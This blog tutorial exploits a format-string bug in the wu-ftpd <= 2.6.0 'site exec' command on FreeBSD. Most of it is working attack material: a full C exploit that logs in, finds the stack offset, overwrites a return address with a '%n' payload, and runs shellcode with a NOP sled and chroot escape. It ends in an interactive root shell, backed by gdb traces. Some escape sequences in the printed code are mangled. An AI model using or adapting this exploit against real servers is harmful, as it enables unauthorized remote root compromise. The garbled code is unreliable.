wu-ftpd exploit

Before reading this article you should have read my FSB introduction. In this article I will show you how to exploit the vulnerability of a real program on a remote computer. In this case we will use the flawed wu-ftpd server <= 2.6.0.

First thing to do is to get a copy of the program you want to test. It is even better if you can get the sources of the program, since you can then analyze the code, compile it in debug mode and follow its execution step by step.

Let's start. Where is the vulnerability?

bash-2.05$ ftp 127.0.0.1
Connected to 127.0.0.1.
220  FTP server (Version wu-2.6.0(6) Sun Jun 30 16:44:44 CEST 2002) ready.
Name (127.0.0.1:girbal_a): ftp
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> site exec %x
200-80680a2
200  (end of '%x')
ftp> site exec %x %x %x %x %x
200-80680a2 807a0a0 62 1dc 1ee
200  (end of '%x %x %x %x %x')
ftp> site exec %s
200-/bin/ftp-exec
200  (end of '%s')
ftp> site exec %s %s %s
421 Service not available, remote server has closed connection.
ftp>

It is very easy to make the server crash! There is obviously a format string bug vulnerability in the site exec command, which is normally used to request the execution of commands on the remote server. We have to find out precisely where it is and which functions are involved.

bash-2.05# gdb in.ftpd 2662
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...

/root/2662: No such file or directory.
Attaching to program: /usr/sbin/in.ftpd, process 2662
Reading symbols from /usr/lib/libcrypt.so.2...done.
Reading symbols from /usr/lib/libc.so.4...done.
Reading symbols from /usr/libexec/ld-elf.so.1...done.
0x28117fcc in read () from /usr/lib/libc.so.4
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x28110d5a in vfprintf () from /usr/lib/libc.so.4
(gdb) where
#0  0x28110d5a in vfprintf () from /usr/lib/libc.so.4
#1  0x280dfe5a in vsnprintf () from /usr/lib/libc.so.4
#2  0x8051ef4 in vreply (flags=4, n=200, fmt=0x28123424 "l@b", ap=0xbfbfe6d0 "220濿") at ftpd.c:5290
#3  0x8052028 in lreply (n=200, fmt=0x2810fde1 "[201�C601") at ftpd.c:5353
#4  0x8055e0c in site_exec (cmd=0xc8 <Error reading address 0xc8: Bad address>) at ftpcmd.y:1929
#5  0x8057b48 in yyparse () at ftpcmd.y:789
#6  0x804bb61 in main (argc=0, argv=0xbfbffce8, envp=0x28123424) at ftpd.c:1329
(gdb)

Thanks to gdb we learn that the bug seems to happen after a call to vsnprintf() which calls vfprintf(). When looking at the program sources, one can see that an input from the user is almost directly used as the format parameter by vsnprintf(), which is a very insecure thing. The format parameter is a dynamically allocated buffer which receives the user input without “site exec” prefix. One important thing to note: the first characters until a space (code “\20″) are supposed to describe a command and, if letters, are forced to lower-case.

...
for (t = cmd; *t && !isspace(*t); t++) {
	if (isupper(*t)) {
	  *t = tolower(*t);
	}
    }
...

A second limitation is that the buffer which contains our input is only 512 bytes long which is rather small.

In order to find useful memory addresses we can use the input “site exec AAAA” while attaching the ftpd process with gdb. We know that the format string is the third parameter of vsnprintf:

int vsnprintf(char *str, size_t size, const char *format, va_list ap);

Consequently it must be the 4th value after ebp on the stack (the first value after the ebp is the return address , followed by the parameters, remember?).

bash-2.05# gdb in.ftpd 2745
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...

/root/2745: No such file or directory.
Attaching to program: /usr/sbin/in.ftpd, process 2745
Reading symbols from /usr/lib/libcrypt.so.2...done.
Reading symbols from /usr/lib/libc.so.4...done.
Reading symbols from /usr/libexec/ld-elf.so.1...done.
0x28117fcc in read () from /usr/lib/libc.so.4
(gdb) b vsnprintf
Breakpoint 1 at 0x280dfe18
(gdb) c
Continuing.

Breakpoint 1, 0x280dfe18 in vsnprintf () from /usr/lib/libc.so.4
(gdb) x/10x $ebp
0xbfbfeba4:     0xbfbff3d4      0x08054000      0xbfbfebda      0x000007fa
0xbfbfebb4:     0x08067cee      0xbfbff3e0      0x08076d4e      0x08076d40
0xbfbfebc4:     0x0806be5c      0x28116c75
(gdb) p (char*) 0x08067cee
$1 = 0x8067cee "%s: %s" <--- It's not the string we've input
(gdb) c
Continuing.

Breakpoint 1, 0x280dfe18 in vsnprintf () from /usr/lib/libc.so.4
(gdb) x/10x $ebp
0xbfbfe764:     0xbfbfeb94      0x08051ef4      0xbfbfe798      0x000003fc
0xbfbfe774:     0x08081200      0xbfbfebc4      0xbfbfec04      0x000001dc
0xbfbfe784:     0x0807a0a5      0xbfbfefb0
(gdb) p (char*) 0x08081200
$2 = 0x8081200 "aaaa" <--- This is better
(gdb)

It appears that the second call to vsnprintf() is the one that uses user input. Note that our command “AAAA” has been lowered to “aaaa”. The useful information is: the buffer we’re interested in begins at 0×08081200 and vsnprintf() ’s return address is located at 0xbfbfe768 (ebp + 4). Those value depends on the OS you are using, but given the OS they are usually fixed.

The first step of the exploit is to connect and login to ftpd. This is done through the use of a socket.

#define HOST "127.0.0.1"
#define PORT 21
#define USER "USER girbal_arn"
#define PASS "PASS EpItA42rn"

char buffer[BUF_SIZE];
int sockFd;
FILE *cin;

//function called when the server closes the connection.
static void closedConnect()
{
  printf("connection closed by servern");
  close(sockFd);
  exit(0);
}

//function that sends a buffer in a safe way.
static void sendAll(int s, const char *msg, int len, int flags)
{
  int	total;
  int	n;

  for (total = 0; total < len;)
    {
      if ((n = send(s, msg + total, len - total, flags)) == -1)
	{
	  perror("send error");
	  exit(1);
	}
      total += n;
    }
}

//function that returns the IP value of a host.
static long getIp(char* name)
{
  struct hostent* hp;
  long ip;
  extern int h_errno;

  if ((ip = inet_addr(name)) < 0)
    {
      if (!(hp = gethostbyname(name)))
	{
	  fprintf(stderr, "gethostbyname(): %sn", strerror(h_errno));
	  exit(1);
	}
      memcpy(&ip, (hp->h_addr), 4);
    }

  return ip;
}

//function that creates a socket and associates a stream with it.
static void createSocket()
{
  struct sockaddr_in sockAddr;

  bzero(&sockAddr, sizeof(sockAddr));
  sockAddr.sin_family = AF_INET;
  sockAddr.sin_addr.s_addr = getIp(HOST);
  sockAddr.sin_port = htons(PORT);

  if((sockFd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
      perror("socket");
      exit(1);
    }

  if(connect(sockFd, (struct sockaddr *) &sockAddr, sizeof(sockAddr)) < 0)
    {
      perror("connect");
      close(sockFd);
      exit(1);
    }

  if (!(cin = fdopen(sockFd, "r")))
    {
      close(sockFd);
      exit(1);
    }
}

//function that logs in.
static void logIn()
{
  do
    {
      if (!fgets(buffer, BUF_SIZE, cin))
	closedConnect();
    }
  while (strncmp(buffer, "220 ", 4));

  sendAll(sockFd, USER, strlen(USER), 0);
  if (!recv(sockFd, buffer, BUF_SIZE, 0))
    closedConnect();

  sendAll(sockFd, PASS, strlen(PASS), 0);
  if (!recv(sockFd, buffer, BUF_SIZE, 0))
    closedConnect();
}

int main(int argc, char** argv)
{
  createSocket();
  logIn();
  return 0;
}

Now we must locate a buffer where the input or a part of the input is copied and which is after vsnprintf() ’s frame on the stack. Indeed with the format string we can only reach values that are higher in terms of address. Consequently we must determine the offset of such a buffer if it exists.

Let’s create a small function that can find it: We input a string like “site exec aaaaaaaa%X$x\r\n”, and we search the value of the X variable that will get the answer “200-aaaaaaaa61616161″ (61 is the code for ‘a’). Then we try to align the buffer by adding some characters before the “aaa…”.

static void findOffset(int* offset, int* align)
{
  int i, j, k;
  char tmp[42];
  int begin = strlen("200-aaaaaaaa");

  for (i = 0;; i += 1) // you could initialize i with a higher value
    {
      strcpy(buffer, "SITE EXEC aaaaaaaa%");
      sprintf(tmp, "%d", i);
      strcat(buffer, tmp);
      strcat(buffer, "$xrn");
      sendAll(sockFd, buffer, strlen(buffer), 0);
      if (!fgets(buffer, BUF_SIZE, cin)) // we get the answer
	closedConnect();
      if (!strncmp(buffer + begin, "61616161", 8 ))
	  break;
      if (!fgets(buffer, BUF_SIZE, cin)) // this answer is not of interest
	closedConnect();
    }

  if (!fgets(buffer, BUF_SIZE, cin))
    closedConnect();

  for (j = 0; j < 4; ++j)
    {
      strcpy(buffer, "SITE EXEC ");
      for (k = 0; k < j; ++k)
	{
	  strcat(buffer, "B");
	}
      strcat(buffer, "aaaaaaaa%");
      sprintf(tmp, "%d", i + 1);
      strcat(buffer, tmp);
      strcat(buffer, "$xrn");
      sendAll(sockFd, buffer, strlen(buffer), 0);
      if (!fgets(buffer, BUF_SIZE, cin))
	closedConnect();
      if (!strncmp(buffer + begin + j, "61616161", 8 ))
	  break;
      if (!fgets(buffer, BUF_SIZE, cin))
	closedConnect();
    }
  if (j == 4)
    exit(0);
  if (!fgets(buffer, BUF_SIZE, cin))
    closedConnect();
  *offset = i;
  *align = j;
}

int main(int argc, char** argv)
{
  int offset, align;

  createSocket();
  logIn();
  findOffset(&offset, &align);
  printf("offset: %d, align: %dn", offset, align);
  return 0;
}

This program may go through a couple loops before getting a correct value. You can initialize i to a higher value (like 200) to shorten the process.

bash-2.05$ cc -o exploit exploit.c
bash-2.05$ ./exploit
offset: 277, align: 2
bash-2.05$

We have found a buffer at offset 277 with alignment of 2 bytes. So we have to put 2 dummy characters in the first bytes of our input in order to align the following addresses in our input with the 4 bytes values in the computer memory. When you look at this buffer with gdb you will see that it is not a reliable buffer and some values of its values get overwritten. We won’t use it for to store the shellcode but we will use it to give precise parameters to vsnprintf().

The aim of the exploit is to make ftpd execute a shellcode. The shellcode will replace the standard input and output (fd 0 and 1) with the socket that was use by the server to communicate with the user. Then it will run a Unix shell with execve(). Here is the 0xb9 long shellcode executable on FreeBSD:

char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
  "x31xc0x50x50x50xb0x7excdx80x31xdbx31xc0x43"
  "x43x53x4bx53x53xb0x5axcdx80xebx77x5ex31xc0"
  "x8dx5ex01x88x46x04x66x68xffxffx01x53x53xb0"
  "x88xcdx80x31xc0x8dx5ex01x53x53xb0x3dxcdx80"
  "x31xc0x31xdbx8dx5ex08x89x43x02x31xc9xfexc9"
  "x31xc0x8dx5ex08x53x53xb0x0cxcdx80xfexc9x75"
  "xf1x31xc0x88x46x09x8dx5ex08x53x53xb0x3dxcd"
  "x80xfex0exb0x30xfexc8x88x46x04x31xc0x88x46"
  "x07x89x76x08x89x46x0cx89xf3x8dx4ex08x8dx56"
  "x0cx52x51x53x53xb0x3bxcdx80x31xc0x31xdbx53"
  "x53xb0x01xcdx80xe8x84xffxffxffxffxffxffx30"
  "x62x69x6ex30x73x68x31x2ex2ex31x31x76x65x6e"
  "x67x6cx69x6e";

In order to communicate with the launched shell we have to set up a loop that sends the user input to the socket and then receives and prints the response of the remote computer. We will do this with a select():

static int communicate()
{
	char buf[BUFSIZ];
	int c;
	fd_set rf, drugi;
	char cmd[] = "uname -a ; pwd ; idn";

	FD_ZERO(&rf);
	FD_SET(0, &rf);
	FD_SET(sockFd, &rf);

	while (1)
	{
		bzero(buf, BUFSIZ);
		memcpy (&drugi, &rf, sizeof(rf));
		select(sockFd+1, &drugi, NULL, NULL, NULL);
		if (FD_ISSET(0, &drugi))
		{
			c = read(0, buf, BUFSIZ);
			send(sockFd, buf, c, 0x4);
		}

		if (FD_ISSET(sockFd, &drugi))
		{
			c = read(sockFd, buf, BUFSIZ);
			if (c<0)
			  closedConnect();
			write(1,buf,c);
		}
	}
}

int main(int argc, char** argv)
{
  int offset, align;

  createSocket();
  logIn();
  findOffset(&offset, &align);
  overwrite(offset, align); // the function we still need to determine
  communicate();
  exit(0);
}

There is one last function to define: overwrite(). It is rather simple since we have the information we need. On my computer they are:

  • The offset : 277
  • The alignment : 2
  • The location of the value to overwrite : 0xbfbfe768
  • The location of the buffer with our input : 0×08081200

Check regularly for any change in those values. They can be affected by the OS and the way the server was compiled.

We have to build a buffer that on one hand make vsnprintf() overwrites the way we want and on the other hand stores the shellcode. Then we just send that buffer to ftpd. The buffer should look like:

“site exec” bytes to align @ to be over-written “%.Xd” “%Y$n” space shellcode “\r\n”

Details:

  • X: It helps adjust the number of already printed characters by vsnprintf. It determine which value will be written in memory by vsnprintf by the following “%n”. X should be a value that represents the buffer address in which your input is located. It is good to add something like 0×30 to that value so as to get an address that points in the nops of the buffer. For me it would be 0×08081200 + 0×30. The use of vsnprintf is really convenient for us to exploit the program: we can increase the internal number of “already printed characters” easily, without having to actually print 0×08081200 characters, which would be impossible!
  • Y: the offset. vsnprintf will write the number of printed characters in memory at the address we specified right before in our buffer.
  • The whitespace character: when ftpd lowers characters in the command it stops at the first whitespace encountered. We must put a whitespace before the shellcode so that it is not modified.

Here is an example of such a buffer:

site exec BBx68xe7xbfxbf%.134746654d%277$n <nops><shellcode>rn''

Here is the overwrite function:

#define WHERE_TO_WRITE "x68xe7xbfxbf"
#define SHELL_ADDR 0x08081200 + 0x30

static void overwrite(int offset, int align)
{
  int i;
  char nops[256];
  char tmp[512];

  memset(nops, 0, 255);
  memset(nops, 'x90', 0x60);

  strcpy(buffer, "site exec ");

  for (i = 0; i < align; ++i)
    strcat(buffer, "B");

  strcat(buffer, WHERE_TO_WRITE);

  strcat(buffer, "%.");
  sprintf(tmp, "%d", SHELL_ADDR);
  strcat(buffer, tmp);
  strcat(buffer, "d");

  strcat(buffer, "%");
  sprintf(tmp, "%d", offset);
  strcat(buffer, tmp);
  strcat(buffer, "$n");

  sprintf(tmp, " %s%srn", nops, bsdcode);
  strcat(buffer, tmp);

  sendAll(sockFd, buffer, strlen(buffer), 0);
}

int main(int argc, char** argv)
{
  int offset, align;

  createSocket();
  printf("Connected...n");
  logIn();
  printf("Logged in...n");
  findOffset(&offset, &align);
  printf("Offset found...n");
  overwrite(offset, align);
  printf("Here is the shell...n");
  communicate();
  exit(0);
}

Let’s see the program in action:

bash-2.05$ cc -o exploit exploit.c
bash-2.05$ ./exploit
Connected...
Logged in...
Offset found...
Here is the shell...
ls
.cshrc
.profile
COPYRIGHT
bin
boot
cdrom
cdrom1
compat
dev
dist
etc
home
kernel
kernel.GENERIC
kernel.old
mnt
modules
modules.old
proc
root
sbin
stand
sys
tmp
usr
var
whoami
root

That’s it, we got the shell! We can verify the unfolding of the exploit with gdb, which is a useful help.

bash-2.05# gdb in.ftpd 1123
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...

/root/1123: No such file or directory.
Attaching to program: /usr/sbin/in.ftpd, process 1123
Reading symbols from /usr/lib/libcrypt.so.2...done.
Reading symbols from /usr/lib/libc.so.4...done.
Reading symbols from /usr/libexec/ld-elf.so.1...done.
0x28117fcc in read () from /usr/lib/libc.so.4
(gdb) b vsnprintf
Breakpoint 1 at 0x280dfe18
(gdb) c
Continuing.

Breakpoint 1, 0x280dfe18 in vsnprintf () from /usr/lib/libc.so.4
(gdb) c <-- we're not in the right call, so continue
Continuing.

Breakpoint 1, 0x280dfe18 in vsnprintf () from /usr/lib/libc.so.4
(gdb) x/10x $ebp <-- a look at the stack, the values are ok
0xbfbfe764:     0xbfbfeb94      0x08051ef4      0xbfbfe798      0x000003fc
0xbfbfe774:     0x08081200      0xbfbfebc4      0xbfbfec04      0x000001dc
0xbfbfe784:     0x08081322      0x6e652820
(gdb) x/40x 0x08081200 <-- prints the values in the buffer, they're ok
0x8081200:      0xe7686262      0x2e25bfbf      0x37343331      0x37363634
0x8081210:      0x32256432      0x6e243737      0x90909020      0x90909090
0x8081220:      0x90909090      0x90909090      0x90909090      0x90909090
0x8081230:      0x90909090      0x90909090      0x90909090      0x90909090
0x8081240:      0x90909090      0x90909090      0x90909090      0x90909090
0x8081250:      0x90909090      0x90909090      0x90909090      0x90909090
0x8081260:      0x90909090      0x90909090      0x90909090      0x90909090
0x8081270:      0x90909090      0x90909090      0x50c03190      0x7eb05050
0x8081280:      0xdb3180cd      0x4343c031      0x53534b53      0x80cd5ab0
0x8081290:      0x315e77eb      0x015e8dc0      0x66044688      0x5301ff68
(gdb) watch *0xbfbfe768 <-- watch for change in the return value
Hardware watchpoint 2: *3217024872
(gdb) c
Continuing.
Hardware watchpoint 2: *3217024872

Old value = 134553332
New value = 134746678 <-- the value has changed :)
0x28110ae0 in vfprintf () from /usr/lib/libc.so.4
(gdb) x/10x 0xbfbfe764
0xbfbfe764:     0xbfbfeb94      0x08081236      0xbfbfe798      0x000003fc
0xbfbfe774:     0x08081200      0xbfbfebc4      0xbfbfec04      0x000001dc
0xbfbfe784:     0x08081322      0x6e652820
(gdb) b *0x08081236 <-- the new value is 0x8081236, it's in the nops :)
Breakpoint 3 at 0x8081236
(gdb) c
Continuing.

Breakpoint 3, 0x8081236 in ?? ()
(gdb) <-- the execution have reached our buffer :) 

The execution reaches a breakpoint that is in the nops of our input data. The execution goes on to the shellcode.

Comments are closed.

Trackback this Post |